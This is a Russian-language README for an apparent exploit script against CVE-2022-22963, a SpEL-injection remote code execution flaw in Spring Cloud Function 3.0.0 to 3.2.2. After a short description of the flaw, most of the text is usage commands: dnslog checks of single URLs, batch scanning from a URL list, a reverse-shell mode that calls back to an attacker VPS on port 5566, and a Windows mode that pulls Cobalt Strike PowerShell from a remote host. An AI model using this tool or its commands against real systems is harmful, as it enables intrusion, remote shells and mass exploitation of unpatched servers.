
Уязвимость инъекции SPEL-выражений в Spring Cloud Function (CVE-2022-22963)
Платформа Spring предоставляет комплексную модель программирования и конфигурации для современных корпоративных приложений на Java (на платформах любого типа развёртывания).
В бессерверном фреймворке Spring Cloud Function из состава Spring Cloud метод apply класса RoutingFunction обрабатывает параметр «spring.cloud.function.routing-expression» из заголовка запроса как Spel-выражение, что приводит к внедрению Spel-выражения; с помощью этой уязвимости атакующий может выполнить произвольный код.
Затронутые версии: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
Скрипт предоставлен только для обучения; при любом другом использовании автор не несёт юридической ответственности.
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u — указать одиночный URL для проверки через dnslog
-e — указать режим reverse shell
-s — указать операционную систему целевого хоста, по умолчанию linux, параметры: win/linux используется совместно с параметрами -i и -c
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874 — это Docker-лаборатория vulfocus, в ней не установлена команда nslookup, поэтому проверка dnslog завершилась неудачей
- При пакетной проверке URL-адреса обязательно должны указывать на корень сайта; http://192.168.50.222:8080/ — корень локально развёрнутой лаборатории; добавление каталога test приведёт к неработоспособности PoC
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c — задаёт адрес PowerShell-кода для подключения, сгенерированного CS; обязательно использовать вместе с -s "win". Параметр -c требует запуска скрипта в Windows: скрипт вызывает PowerShell для кодирования PoC


